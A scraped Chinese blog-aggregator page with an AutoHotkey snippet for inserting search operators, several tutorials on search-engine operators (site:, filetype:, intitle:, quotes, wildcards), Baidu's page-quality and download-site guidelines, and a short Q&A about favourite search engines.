, % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索语法: Gui submit, NoHide 搜索语法:="" switch 搜索语法添加 { case "标题": 搜索语法:=" intitle:" case "内容": 搜索语法:=" intext:" case "链接锚点": 搜索语法:=" inanchor:login" case "网站": 搜索语法:=" site:" case "url": 搜索语法:=" inurl:" case "链接特定url": 搜索语法:=" link:www.baidu.com" case "特定类型文件": 搜索语法:=" filetype:" case "关联": 搜索语法:=" related:" case "信息": 搜索语法:=" info:" } AppendEdit(hedit, 搜索语法) Return<br /> 网站模板: Gui submit, NoHide 网站模板:="" switch 网站模板添加 { case "政府": 网站模板:=" site:gov.cn" case "stackoverflow": 网站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 网站模板) Return<br /> 编程语言: Gui submit, NoHide 编程语言:="" switch 编程语言后缀 { case "js": 编程语言:=" js" case "python": 编程语言:=" python" case "c": 编程语言:=" c" case "ahk": 编程语言:=" ahk" } AppendEdit(hedit, 编程语言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL }
搜商 | 4个搜索命令,助你事半功倍
网站优化 • 优采云 发表了文章 • 0 个评论 • 69 次浏览 • 2022-05-02 19:52
网络时代的到来给我们提供了丰富的信息资源,在翻译的过程中,我们经常会通过搜索引擎来了解背景知识、查证术语。
然而,从海量的网络信息中准确获取所需内容也成为新的难点。你是否遇到过花费大量时间却仍找不到满意结果的情况?
以下4个搜索技巧,能帮助我们提高效率,快速精准地检索到想要的信息。
双引号
通过这一指令,可进行完全匹配检索。
有时,搜索引擎会对我们输入的检索词进行拆分,导致搜索结果不能如我们所愿。比如,当我们输入翻译技术教育,会出现只包含部分关键词翻译技术的结果,甚至还有一些不相关的内容。
这种情况下,我们可以用双引号将检索词括起来,将其作为一个整体。
比如,输入"翻译技术教育",搜索结果中就会包含双引号中出现的所有字词,连顺序也完全匹配。
我们可以从以下两张图片中,看到不加双引号与加双引号的区别。加上双引号后,相关结果从原来的2060万个减少到了68个,大大提高了精确度。
关键词+空格+site:+网址
通过这一指令,可以在指定网站上搜索相应的关键词。
比如,输入 新能源公交车辆 site:,其结果便是中国日报网上关于“新能源公交车辆”的内容。
另外,如果我们想在政府官网或学校官网等某一类网站搜索相关信息,可以在site:后加上域名后缀,比如site:.或者site:.。
关键词+空格+filetype:+文件格式
通过这一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的资源。
比如,输入 translation technology filetype:pdf,搜索结果就是包含translation technology这个关键词的所有pdf文件。
intitle:+关键词
通过这一指令,可以限定所检索的关键词必须出现在搜索结果的标题中。
比如,输入intitle:翻译技术的应用,就可以过滤掉那些没有在标题中提及关键词的结果。
学习搜索技巧,提高“搜商”,能让我们更好更快地解决问题,不至于淹没在互联网的海量信息之中。快快试起来吧!
END
【往期回顾】
微信公众号
语言服务行业 查看全部
搜商 | 4个搜索命令,助你事半功倍
网络时代的到来给我们提供了丰富的信息资源,在翻译的过程中,我们经常会通过搜索引擎来了解背景知识、查证术语。
然而,从海量的网络信息中准确获取所需内容也成为新的难点。你是否遇到过花费大量时间却仍找不到满意结果的情况?
以下4个搜索技巧,能帮助我们提高效率,快速精准地检索到想要的信息。
双引号
通过这一指令,可进行完全匹配检索。
有时,搜索引擎会对我们输入的检索词进行拆分,导致搜索结果不能如我们所愿。比如,当我们输入翻译技术教育,会出现只包含部分关键词翻译技术的结果,甚至还有一些不相关的内容。
这种情况下,我们可以用双引号将检索词括起来,将其作为一个整体。
比如,输入"翻译技术教育",搜索结果中就会包含双引号中出现的所有字词,连顺序也完全匹配。
我们可以从以下两张图片中,看到不加双引号与加双引号的区别。加上双引号后,相关结果从原来的2060万个减少到了68个,大大提高了精确度。
关键词+空格+site:+网址
通过这一指令,可以在指定网站上搜索相应的关键词。
比如,输入 新能源公交车辆 site:,其结果便是中国日报网上关于“新能源公交车辆”的内容。
另外,如果我们想在政府官网或学校官网等某一类网站搜索相关信息,可以在site:后加上域名后缀,比如site:.或者site:.。
关键词+空格+filetype:+文件格式
通过这一指令,可以搜索pdf、doc、xls、ppt等指定文件格式的资源。
比如,输入 translation technology filetype:pdf,搜索结果就是包含translation technology这个关键词的所有pdf文件。
intitle:+关键词
通过这一指令,可以限定所检索的关键词必须出现在搜索结果的标题中。
比如,输入intitle:翻译技术的应用,就可以过滤掉那些没有在标题中提及关键词的结果。
学习搜索技巧,提高“搜商”,能让我们更好更快地解决问题,不至于淹没在互联网的海量信息之中。快快试起来吧!
END
【往期回顾】
微信公众号
语言服务行业
推荐10个超级实用的谷歌搜索技巧,让你的效率提高十倍!
网站优化 • 优采云 发表了文章 • 0 个评论 • 76 次浏览 • 2022-06-19 00:23
相信大家在使用搜索引擎的时候,大部分情况下都是直接输入要搜索的关键词,然后在搜索结果里一个个点开查找。
但除了特定信息外,搜索引擎同时也会返回大量无关的信息。
有时候我们可能翻好几页也不一定能找到满意的结果,平白增加不少的工作量。
其实,有一些特殊的技巧,可以对搜索结果进行限制和筛选,缩小检索范围,让搜索结果更加准确,大大提高我们的效率。
下面,扩展迷就给大家介绍一些在进行谷歌搜索时可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同样支持。
1. 强制精确匹配
当你输入某个长句或者短语进行搜索后,搜索引擎会默认显示所有分别包含各个单词的相关信息。
要么就是,只匹配到了你输入的部分字词,这就很令人糟心了。
其实这时候,你可以使用引号来强制完全匹配所有字符。
如:“what is extension”
加引号前的搜索结果如下:
加上引号后的搜索结果:
再比如:“扩展迷网站的地址”
加上引号前的搜索结果是这样的:
加上引号后搜出来是这样的:
在百度搜索上,强制匹配技巧同样适用。
2. AND运算符
很多人不知道的是,绝大部分搜索引擎都允许在搜索中使用逻辑运算符。
如果你想查询同时包含多个搜索词的所有站点,只需要在搜索引擎中输入:搜索词 AND 搜索词。
搜索引擎则会返回包含两者的搜索结果。
比如:扩展迷 AND 下载
3. OR运算符
与AND相反,OR可以返回你输入的多个搜索词分别相关的结果,而不仅仅是和多个搜索词都同时相关的结果。
巧妙使用OR运算符,可以让你在未能确定哪个关键词对于搜索结果起决定作用时,依然可以确保搜索结果的准确性。
比如:扩展迷 OR python
4. 排除指定关键词
如果在进行准确搜索时没有找到自己想要的结果,你还可以对包含特定词汇的信息进行排除,仅需使用减号,即 -就可以了(注意减号前有空格)。
比如搜索:扩展迷,第二条结果包含了哔哩哔哩网站的内容。
使用排除符号搜索:扩展迷 -哔哩哔哩
可以看到,包含哔哩哔哩的结果就都没有了。
通过这个技巧,大家在搜索指定的教程、新闻资讯的时候就方便得多了。
5. 通配符
*,星号,通配符,可以用作模糊搜索。
如果我们忘记了需要搜索的词句的某一部分,就可以用*代替缺失的部分。
比如:扩*迷Extfans
这个技巧在查歌词、文章原文的时候非常省时省力,而不会返回太多无关结果。
6. 站内搜索
众所周知,许多网站上内容虽然丰富,但欠缺了站内搜索的入口,当我们想要查找网站上的某个资源的话就比较麻烦了。
实际上,搜索引擎也可以帮你完成站内搜索的工作。只需输入:搜索词site:网址
比如搜索:下载工具 site:
或:site: 下载工具
直接就可以找到扩展迷网站上有关“下载工具”的所有内容了。
顺带一提,如果再结合本文第一条的精准搜索功能,站内搜索将会变得更加强大。
7. 在网页标题、链接和正文中搜索
如果你需要找出和搜索词相关的所有网页标题、链接和正文,只需要按下方规则搜索即可:
把搜索范围限定在网页标题中——intitle:搜索词
把搜索范围限定在url链接中——inurl:搜索词
把搜索范围限定在正文中——intext:搜索词
例如,在搜索引擎中输入:intitle: 扩展迷安装教程
就会得到所有标题中包含“扩展迷安装教程”的网页了。
8.搜索相关网站
想要知道与某个网站相关的网站还有哪些?你仅需在搜索引擎中输入related:网址,就可以了。
比如:related:
即可得到所有和相关的网站反馈结果。
9. 搜索指定文件类型
使用这个技巧,可以快速帮你找到各个格式的文件。
输入:filetype:文档格式 搜索词
比如:filetype:pdf 疫情防控
10. 在某个时间范围内搜索
如果你想找出某段时间内的搜索结果,可以在搜索引擎中输入:搜索词年份..年份(搜索词和年份之间有空格)。
比如:扩展迷油猴脚本 2020..2021
总结
尽管有些技能或许并不常用,但精准搜索和站内搜索这些技能的使用范围还是相当广泛的。
更重要的是,以上提到的技巧都可以单独或搭配使用,中间用空格隔开即可。
比如,在扩展迷网站上搜索标题含“油猴脚本”的内容。
只需输入:intitle:“油猴脚本” site:
再比如,在豆瓣上搜索标题包含“你好李焕英”的内容。
输入:intitle:“你好李焕英” site:
如果你能够灵活对上述所有搜索技能进行组合运用,完全能按照自己的意愿缩小或者扩展搜索范围,达到事半功倍的效果。
随着谷歌等搜索引擎中提供的内容越来越繁杂,对于用户来说,掌握这些搜索技巧还是非常必要的。
本文为公众号【扩展迷Extfans】原创 查看全部
推荐10个超级实用的谷歌搜索技巧,让你的效率提高十倍!
相信大家在使用搜索引擎的时候,大部分情况下都是直接输入要搜索的关键词,然后在搜索结果里一个个点开查找。
但除了特定信息外,搜索引擎同时也会返回大量无关的信息。
有时候我们可能翻好几页也不一定能找到满意的结果,平白增加不少的工作量。
其实,有一些特殊的技巧,可以对搜索结果进行限制和筛选,缩小检索范围,让搜索结果更加准确,大大提高我们的效率。
下面,扩展迷就给大家介绍一些在进行谷歌搜索时可以使用的便捷技巧。
其中,部分技巧在其他搜索引擎中也同样支持。
1. 强制精确匹配
当你输入某个长句或者短语进行搜索后,搜索引擎会默认显示所有分别包含各个单词的相关信息。
要么就是,只匹配到了你输入的部分字词,这就很令人糟心了。
其实这时候,你可以使用引号来强制完全匹配所有字符。
如:“what is extension”
加引号前的搜索结果如下:
加上引号后的搜索结果:
再比如:“扩展迷网站的地址”
加上引号前的搜索结果是这样的:
加上引号后搜出来是这样的:
在百度搜索上,强制匹配技巧同样适用。
2. AND运算符
很多人不知道的是,绝大部分搜索引擎都允许在搜索中使用逻辑运算符。
如果你想查询同时包含多个搜索词的所有站点,只需要在搜索引擎中输入:搜索词 AND 搜索词。
搜索引擎则会返回包含两者的搜索结果。
比如:扩展迷 AND 下载
3. OR运算符
与AND相反,OR可以返回你输入的多个搜索词分别相关的结果,而不仅仅是和多个搜索词都同时相关的结果。
巧妙使用OR运算符,可以让你在未能确定哪个关键词对于搜索结果起决定作用时,依然可以确保搜索结果的准确性。
比如:扩展迷 OR python
4. 排除指定关键词
如果在进行准确搜索时没有找到自己想要的结果,你还可以对包含特定词汇的信息进行排除,仅需使用减号,即 -就可以了(注意减号前有空格)。
比如搜索:扩展迷,第二条结果包含了哔哩哔哩网站的内容。
使用排除符号搜索:扩展迷 -哔哩哔哩
可以看到,包含哔哩哔哩的结果就都没有了。
通过这个技巧,大家在搜索指定的教程、新闻资讯的时候就方便得多了。
5. 通配符
*,星号,通配符,可以用作模糊搜索。
如果我们忘记了需要搜索的词句的某一部分,就可以用*代替缺失的部分。
比如:扩*迷Extfans
这个技巧在查歌词、文章原文的时候非常省时省力,而不会返回太多无关结果。
6. 站内搜索
众所周知,许多网站上内容虽然丰富,但欠缺了站内搜索的入口,当我们想要查找网站上的某个资源的话就比较麻烦了。
实际上,搜索引擎也可以帮你完成站内搜索的工作。只需输入:搜索词site:网址
比如搜索:下载工具 site:
或:site: 下载工具
直接就可以找到扩展迷网站上有关“下载工具”的所有内容了。
顺带一提,如果再结合本文第一条的精准搜索功能,站内搜索将会变得更加强大。
7. 在网页标题、链接和正文中搜索
如果你需要找出和搜索词相关的所有网页标题、链接和正文,只需要按下方规则搜索即可:
把搜索范围限定在网页标题中——intitle:搜索词
把搜索范围限定在url链接中——inurl:搜索词
把搜索范围限定在正文中——intext:搜索词
例如,在搜索引擎中输入:intitle: 扩展迷安装教程
就会得到所有标题中包含“扩展迷安装教程”的网页了。
8.搜索相关网站
想要知道与某个网站相关的网站还有哪些?你仅需在搜索引擎中输入related:网址,就可以了。
比如:related:
即可得到所有和相关的网站反馈结果。
9. 搜索指定文件类型
使用这个技巧,可以快速帮你找到各个格式的文件。
输入:filetype:文档格式 搜索词
比如:filetype:pdf 疫情防控
10. 在某个时间范围内搜索
如果你想找出某段时间内的搜索结果,可以在搜索引擎中输入:搜索词年份..年份(搜索词和年份之间有空格)。
比如:扩展迷油猴脚本 2020..2021
总结
尽管有些技能或许并不常用,但精准搜索和站内搜索这些技能的使用范围还是相当广泛的。
更重要的是,以上提到的技巧都可以单独或搭配使用,中间用空格隔开即可。
比如,在扩展迷网站上搜索标题含“油猴脚本”的内容。
只需输入:intitle:“油猴脚本” site:
再比如,在豆瓣上搜索标题包含“你好李焕英”的内容。
输入:intitle:“你好李焕英” site:
如果你能够灵活对上述所有搜索技能进行组合运用,完全能按照自己的意愿缩小或者扩展搜索范围,达到事半功倍的效果。
随着谷歌等搜索引擎中提供的内容越来越繁杂,对于用户来说,掌握这些搜索技巧还是非常必要的。
本文为公众号【扩展迷Extfans】原创
百度搜索页面规范指南:网站站点或智能小程序满足用户需求,标题,内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 144 次浏览 • 2022-06-18 10:20
百度搜索页面规范指南--用户需求满足
【需要找百度小程序开发,网站制作开发公司直接找我们】
2.1 标题规范 ——针对页面标题违规问题
2017年9月,百度搜索发布清风算法,严惩开发者通过页面标题作弊,欺骗用户并获得点击的行为;从而保证搜索用户体验,促进搜索生态良性发展。
2018年11月,百度搜索针对页面标题作弊行为发布《百度搜索页面标题规范》,对搜索生态下的网页标题进行了严格的规范和要求。不符合《百度搜索页面标题规范》的站点,将会被清风算法1.0覆盖,受到限制搜索展现的处理。
《百度搜索页面标题规范》
1.标题的原则
• 站点或智能小程序应确保每个页面都有指定的标题,且同一站点的不同页面应分别使用不同的标题;
• 页面标题应准确概括页面内容,避免使用模糊和不相关的描述;
• 页面标题应简明扼要,避免使用冗长的标题,避免关键词堆砌;
• 页面标题的符号使用正确,建议参考百度建议的标题符号用法(详细内容请参见后文“3.2标题的符号”部分)
2.不允许出现的标题类型
标题存在以下恶劣问题时,会对这类结果做相应的搜索结果展现限制。
2.1标题内容虚假
指标题和页面内容不相符,欺骗诱导用户点击的情况。
类型1:虚假官网
指非官方站点或智能小程序,但标题表述为官网的情况。
问题示例12:非官方网站但标题为官网的负面案例
类型2:无法满足用户需求
如:标题中标明可下载或在线阅读小说txt,但是页面中不提供下载服务或诱导用户下载APP;或在标题中说明有百度云下载、支持在线观看,但是页面既不能下载,又不能在线观看。
问题示例13:标题标明可下载小说,但页面中诱导下载APP的负面案例
类型3:标题表述部分虚假
如:某网页标题中标明有江苏一本大学排名,但页面只有大学名单,而没有排名相关的内容。
2.2标题重复、堆砌
指站点或智能小程序通过页面标题过度重复或堆砌等手段,获取不正当流量的情况。
类型1:标题关键词大量重复
类型2:标题大量堆砌语义相近的关键词标签
问题示例14:标题堆砌关键词的负面案例
3.优质页面标题建议
优质的页面标题,不仅能明确表达页面的主旨目的,更能给搜索用户有效的引导,吸引目标用户点击。对符合优质规范的标题,百度将会给予更多的展现优待。
3.1 标题的构成
百度页面标题可以概括为“核心词+修饰词”的格式,修饰词建议不多于3个。
3.2 标题的符号
4.百度标题改写机制
为保证搜索用户的体验,百度搜索将会对部分易造成用户误导的页面标题进行相应的改写,包括但不限于以下几种情况:
对于标题堆砌等过度优化的站点首页,百度搜索会将过度优化的标题直接改写为站点名称或公司名称;
对于部分表意模糊的页面,百度搜索将会从页面中提取页面关键信息补充在标题中,保证用户能够及时获取有效信息。
针对标题堆砌的改写示例:针对标题堆砌问题的改写示例
2.2 清风算法3.0——针对下载站违规问题
为了规范下载行业站点及智能小程序的欺骗下载、捆绑下载等伤害用户的行为,百度搜索分别于2018年4月、2018年10月发布清风算法2.0、3.0版本,清风算法覆盖的问题范围从标题作弊行为扩展到下载行业站点及智能小程序的欺骗用户行为。
2018年10月,百度搜索发布《百度搜索下载站质量规范》,对百度搜索范围内下载站点及智能小程序的行为进行严格要求和控制。不符合此规范的下载站或智能小程序,将会被清风算法3.0覆盖,受到搜索展现的限制。
《百度下载站质量规范》
1.下载站质量规范概要
下载站需遵守以下原则,坚持为用户提供高质量、有效,安全的下载服务:
①保证软件的安全性,无挂马、窃取用户隐私等恶意行为;
②无”李鬼下载“行为,通过普通下载/本地下载入口下载的软件必须为下载按钮文字描述的目标软件;
③下载页面中不能存在与下载按钮类似的诱导类广告;
④允许存在安全下载/高速下载的情况,但是页面中必须有明确说明解释。
2.下载站质量规范说明
2.1 PC端下载站质量规范
图示:PC端下载站页面
a板块.本地下载:
应保证下载软件的安全性,无挂马、窃取用户隐私等问题;
本地下载/普通下载点击后,效果必须为直接下载目标软件,不能存在下载内容与描述不符的“李鬼下载”问题;
b板块.高速下载:
若存在高速下载情况,需要在页面上明确告知用户其与本地下载(如上图a区所示)的区别,如:说明实际效果为先下载高速下载器,然后在高速下载器中下载目标软件(如上图b区所示);
c板块.诱导广告:
下载页面中不能存在与下载按钮相似的诱导类广告,如上图c区所示的情况是不允许出现的。
2.2高速下载器规范
说明:此项规范针对用户在PC页面中下载高速下载器后,通过高速下载器下载目标软件的情况。
图示:用户下载高速下载器打开后的界面
①允许下载前默认勾选推荐软件(如上图红框区域所示),但是用户可自主根据实际需求取消勾选,取消勾选后不能再将推荐软件进行捆绑下载;
②推荐下载的软件不能为色情、赌博等违法软件;
2.3移动端下载站质量规范
图示:移动端下载界面
①保证下载软件的安全性,无挂马、窃取用户隐私等问题;
②下载点击后,效果必须为直接下载目标软件,不能存在“李鬼下载”现象;
③下载需要有明确说明,在页面上告知用户,如上图所示,说明实际效果为先下载某应用市场,后续可在应用市场中下载目标软件,这种方式更加安全等;
④允许默认勾选,优先进行高速下载,但用户可自主根据实际情况取消勾选,直接进入普通下载,下载目标软件。
2.3 信风算法——针对虚假翻页诱导问题
2019年5月,百度搜索发布信风算法,控制网站或智能小程序利用翻页键诱导用户的行为。
信风算法主要针对以下情况:
用户点击翻页键时,自动跳转至网站的其他频道页(如目录页、站外广告页等)。
问题示例15:移动端,用户点击“下一页”直接跳转至站内频道目录页
问题示例16:PC端,用户点击“下一页”直接跳转至站内频道目录页
对于此类问题,我们建议:
1、不要放置虚假翻页键。如果您希望能获得更多的用户浏览和点击,可以在正文结束后,为用户推荐相关的优质内容,吸引用户点击。
2、尊重用户浏览体验,避免出现刻意拆分一篇简短文章为多个分页的行为。
2.4 违规信息规范——针对违法违规信息
为了维护安全健康的搜索生态,保障搜索用户的合法权益,2019年2月,百度搜索发布《关于百度搜索严厉打击虚假诈骗等违法违规信息的公告》,打击电信网络中的虚假诈骗、违法交易、黄赌毒等违法违规信息。
百度搜索打击的违法违规信息包括但不限于以下内容:
1.虚假、诈骗类信息: 查看全部
百度搜索页面规范指南:网站站点或智能小程序满足用户需求,标题,内容
百度搜索页面规范指南--用户需求满足
【需要找百度小程序开发,网站制作开发公司直接找我们】
2.1 标题规范 ——针对页面标题违规问题
2017年9月,百度搜索发布清风算法,严惩开发者通过页面标题作弊,欺骗用户并获得点击的行为;从而保证搜索用户体验,促进搜索生态良性发展。
2018年11月,百度搜索针对页面标题作弊行为发布《百度搜索页面标题规范》,对搜索生态下的网页标题进行了严格的规范和要求。不符合《百度搜索页面标题规范》的站点,将会被清风算法1.0覆盖,受到限制搜索展现的处理。
《百度搜索页面标题规范》
1.标题的原则
• 站点或智能小程序应确保每个页面都有指定的标题,且同一站点的不同页面应分别使用不同的标题;
• 页面标题应准确概括页面内容,避免使用模糊和不相关的描述;
• 页面标题应简明扼要,避免使用冗长的标题,避免关键词堆砌;
• 页面标题的符号使用正确,建议参考百度建议的标题符号用法(详细内容请参见后文“3.2标题的符号”部分)
2.不允许出现的标题类型
标题存在以下恶劣问题时,会对这类结果做相应的搜索结果展现限制。
2.1标题内容虚假
指标题和页面内容不相符,欺骗诱导用户点击的情况。
类型1:虚假官网
指非官方站点或智能小程序,但标题表述为官网的情况。
问题示例12:非官方网站但标题为官网的负面案例
类型2:无法满足用户需求
如:标题中标明可下载或在线阅读小说txt,但是页面中不提供下载服务或诱导用户下载APP;或在标题中说明有百度云下载、支持在线观看,但是页面既不能下载,又不能在线观看。
问题示例13:标题标明可下载小说,但页面中诱导下载APP的负面案例
类型3:标题表述部分虚假
如:某网页标题中标明有江苏一本大学排名,但页面只有大学名单,而没有排名相关的内容。
2.2标题重复、堆砌
指站点或智能小程序通过页面标题过度重复或堆砌等手段,获取不正当流量的情况。
类型1:标题关键词大量重复
类型2:标题大量堆砌语义相近的关键词标签
问题示例14:标题堆砌关键词的负面案例
3.优质页面标题建议
优质的页面标题,不仅能明确表达页面的主旨目的,更能给搜索用户有效的引导,吸引目标用户点击。对符合优质规范的标题,百度将会给予更多的展现优待。
3.1 标题的构成
百度页面标题可以概括为“核心词+修饰词”的格式,修饰词建议不多于3个。
3.2 标题的符号
4.百度标题改写机制
为保证搜索用户的体验,百度搜索将会对部分易造成用户误导的页面标题进行相应的改写,包括但不限于以下几种情况:
对于标题堆砌等过度优化的站点首页,百度搜索会将过度优化的标题直接改写为站点名称或公司名称;
对于部分表意模糊的页面,百度搜索将会从页面中提取页面关键信息补充在标题中,保证用户能够及时获取有效信息。
针对标题堆砌的改写示例:针对标题堆砌问题的改写示例
2.2 清风算法3.0——针对下载站违规问题
为了规范下载行业站点及智能小程序的欺骗下载、捆绑下载等伤害用户的行为,百度搜索分别于2018年4月、2018年10月发布清风算法2.0、3.0版本,清风算法覆盖的问题范围从标题作弊行为扩展到下载行业站点及智能小程序的欺骗用户行为。
2018年10月,百度搜索发布《百度搜索下载站质量规范》,对百度搜索范围内下载站点及智能小程序的行为进行严格要求和控制。不符合此规范的下载站或智能小程序,将会被清风算法3.0覆盖,受到搜索展现的限制。
《百度下载站质量规范》
1.下载站质量规范概要
下载站需遵守以下原则,坚持为用户提供高质量、有效,安全的下载服务:
①保证软件的安全性,无挂马、窃取用户隐私等恶意行为;
②无”李鬼下载“行为,通过普通下载/本地下载入口下载的软件必须为下载按钮文字描述的目标软件;
③下载页面中不能存在与下载按钮类似的诱导类广告;
④允许存在安全下载/高速下载的情况,但是页面中必须有明确说明解释。
2.下载站质量规范说明
2.1 PC端下载站质量规范
图示:PC端下载站页面
a板块.本地下载:
应保证下载软件的安全性,无挂马、窃取用户隐私等问题;
本地下载/普通下载点击后,效果必须为直接下载目标软件,不能存在下载内容与描述不符的“李鬼下载”问题;
b板块.高速下载:
若存在高速下载情况,需要在页面上明确告知用户其与本地下载(如上图a区所示)的区别,如:说明实际效果为先下载高速下载器,然后在高速下载器中下载目标软件(如上图b区所示);
c板块.诱导广告:
下载页面中不能存在与下载按钮相似的诱导类广告,如上图c区所示的情况是不允许出现的。
2.2高速下载器规范
说明:此项规范针对用户在PC页面中下载高速下载器后,通过高速下载器下载目标软件的情况。
图示:用户下载高速下载器打开后的界面
①允许下载前默认勾选推荐软件(如上图红框区域所示),但是用户可自主根据实际需求取消勾选,取消勾选后不能再将推荐软件进行捆绑下载;
②推荐下载的软件不能为色情、赌博等违法软件;
2.3移动端下载站质量规范
图示:移动端下载界面
①保证下载软件的安全性,无挂马、窃取用户隐私等问题;
②下载点击后,效果必须为直接下载目标软件,不能存在“李鬼下载”现象;
③下载需要有明确说明,在页面上告知用户,如上图所示,说明实际效果为先下载某应用市场,后续可在应用市场中下载目标软件,这种方式更加安全等;
④允许默认勾选,优先进行高速下载,但用户可自主根据实际情况取消勾选,直接进入普通下载,下载目标软件。
2.3 信风算法——针对虚假翻页诱导问题
2019年5月,百度搜索发布信风算法,控制网站或智能小程序利用翻页键诱导用户的行为。
信风算法主要针对以下情况:
用户点击翻页键时,自动跳转至网站的其他频道页(如目录页、站外广告页等)。
问题示例15:移动端,用户点击“下一页”直接跳转至站内频道目录页
问题示例16:PC端,用户点击“下一页”直接跳转至站内频道目录页
对于此类问题,我们建议:
1、不要放置虚假翻页键。如果您希望能获得更多的用户浏览和点击,可以在正文结束后,为用户推荐相关的优质内容,吸引用户点击。
2、尊重用户浏览体验,避免出现刻意拆分一篇简短文章为多个分页的行为。
2.4 违规信息规范——针对违法违规信息
为了维护安全健康的搜索生态,保障搜索用户的合法权益,2019年2月,百度搜索发布《关于百度搜索严厉打击虚假诈骗等违法违规信息的公告》,打击电信网络中的虚假诈骗、违法交易、黄赌毒等违法违规信息。
百度搜索打击的违法违规信息包括但不限于以下内容:
1.虚假、诈骗类信息:
选新浪微博中国的搜索引擎大概就剩下百度了
网站优化 • 优采云 发表了文章 • 0 个评论 • 58 次浏览 • 2022-06-18 10:02
搜索指定网站内容时,使用手机浏览器搜索指定网站内容,会推荐该网站内容中的新闻。
另类点儿的有手机版pc端和各种问答网站手机端可搜小众关键词就有结果了,
搜狗这个搜索功能我觉得不是特别好,特别是经常搜一些没有用过的,感觉搜狗查不出来的时候,搜狗就这么做了。
个人习惯:豆瓣。
百度啊,
新浪博客
其实我最喜欢的是,google搜索。但是要翻墙。
我觉得googlemap也是个不错的选择,打开后,你可以搜索离你最近的城市,然后就是图片,文字,各种信息。不但要用自己感兴趣的,而且要评论才能看到附近有啥好玩的,体验不一样的生活。
googlemapsandsearch
必应啊。android之前版本搜索整个公司的所有东西都会有好吗。
国内我选新浪微博
中国的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微软的有samsungbada系列,都不错.国外的googleamazonyahoo之类的.
腾讯搜索,
百度了吧
其实我觉得首页很大程度上只是一个映射某一些网站的门户类网站,根据网站的内容大而全,
在网络上一般搜索的主要依据就是各种英文网站 查看全部
选新浪微博中国的搜索引擎大概就剩下百度了
搜索指定网站内容时,使用手机浏览器搜索指定网站内容,会推荐该网站内容中的新闻。
另类点儿的有手机版pc端和各种问答网站手机端可搜小众关键词就有结果了,
搜狗这个搜索功能我觉得不是特别好,特别是经常搜一些没有用过的,感觉搜狗查不出来的时候,搜狗就这么做了。
个人习惯:豆瓣。
百度啊,
新浪博客
其实我最喜欢的是,google搜索。但是要翻墙。
我觉得googlemap也是个不错的选择,打开后,你可以搜索离你最近的城市,然后就是图片,文字,各种信息。不但要用自己感兴趣的,而且要评论才能看到附近有啥好玩的,体验不一样的生活。
googlemapsandsearch
必应啊。android之前版本搜索整个公司的所有东西都会有好吗。
国内我选新浪微博
中国的搜索引擎大概就剩下百度了吧。
微博上找facebook或twitter,微软的有samsungbada系列,都不错.国外的googleamazonyahoo之类的.
腾讯搜索,
百度了吧
其实我觉得首页很大程度上只是一个映射某一些网站的门户类网站,根据网站的内容大而全,
在网络上一般搜索的主要依据就是各种英文网站
用了10年百度,这6个搜索技巧,我居然才知道!!
网站优化 • 优采云 发表了文章 • 0 个评论 • 400 次浏览 • 2022-06-18 03:52
文 / 一周进步 · 安哥拉
在信息过载的当下,即便我们不去主动获取信息,各种应用推荐和用户生产的内容,也会把我们裹挟其中,但其中真正有价值的内容,实际上可能是少之又少。
每个人都会面临「时间有限」的约束,如何从信息浪潮中快速找到自己需要的优质内容,几乎成了每一个现代人必须面对的问题。
除了找到优质的信息源,更为重要的是,用好手中的搜索,因为你想知道的东西,80% 都可以在网上找到答案。
因此,今天的文章,我整理了提高搜索效率和质量的一些方法,包含搜索指令、以图搜图技巧、屏蔽网站和广告等,希望这些内容对你有帮助。
01. 搜索指令
①过滤关键词
在搜索的关键词后面使用减号,加上你想过滤的关键词,可以去除标题中包含过滤关键词的搜索结果。
举个例子,在百度中以关键词「学习App」进行搜索,默认排在搜索结果顶部的是来自知乎的内容。
为了对比前后的效果,以「学习App-知乎」再次搜索,返回的结果就会过滤来自知乎的内容。
②在指定网站中搜索
在关键词后面加上site:网址,可以在指定的网站中搜索关键词,这比较适合垂直且网址好记的网站,可以让你在不打开网站的情况下,直接使用关键词进行搜索。
以寻找答辩 PPT模板为例,直接以「答辩ppt」进行搜索,返回的结果来自不同的网站,既有 PPT 教程的内容,也有 PPT 模板网站,比较杂乱。
如果你只想搜索返回 PPT模板的结果,可试着将搜索的范围局限在PPT模板网站,例如微软家的模板网站,这样得到的搜索结果会更加精确。
值得一提的是,site:后面添加的网址,不需要带上或,否则返回的结果会显示没有找到相关的内容。
③指定文件类型
在关键词后面加上filetype:文件格式,可以指定搜索结果返回的文件类型,这里的文件格式包含但不限于 ppt、doc、pdf、xls 等。
还是以答辩 PPT为例,在关键词后面加上「filetype:ppt」,这样返回的结果就都仅限于 ppt 格式的文档,不会乱入其他类型的文件。
需要注意的是,自 Office2013起,Office新增了三种类型的兼容格式pptx、docx和xlsx,但百度的filetype指令不支持这三个新的格式,而在 Google 中则可以正常使用。
④精确匹配
有时我们使用关键词进行搜索时,搜索引擎会将我们的关键词拆分为两个小短语进行搜索,导致搜索返回的结果不尽如人意。
为了解决这个问题,我们可以将关键词放到引号里边,这样搜索引擎在搜索时就会返回包含完整关键词的结果,不会将关键词拆分为乱序的多个短语。
这里的引号既可以是中文引号,也可以是英文引号,使用中文或英文引号对搜索返回的结果不会有影响。
如下图所示,以「“城市地铁”」进行搜索时,返回的结果都是完全匹配的,相比为未添加引号时可以适当地提高搜索效率。
⑤通配符搜索
俗话说“好记性不如烂笔头”,有时刚听到或想到的东西,由于没有及时记录下来,不一会儿在我们脑中可能就只剩下星星点点的碎片。
就像是你隐约记得有部动漫叫《四月xx谎言》,但就是想不起中间的部分,此时你就可以使用星号*来代替,以此来告知搜索引擎,中间还有一部分你不清楚的内容。
这里的星号*被称为通配符,常用于模糊搜索的场景,当你不知道完整的文本时,可以使用通配符代替其中的一个或多个字符,以此来尽可能地接近自己想要搜索的内容。
⑥限定标题关键词
在关键词 A后面加上intitle:关键词 B,它有点像是数学中的交集,即搜索返回的结果中,其标题必须同时包含关键词 A和 B。
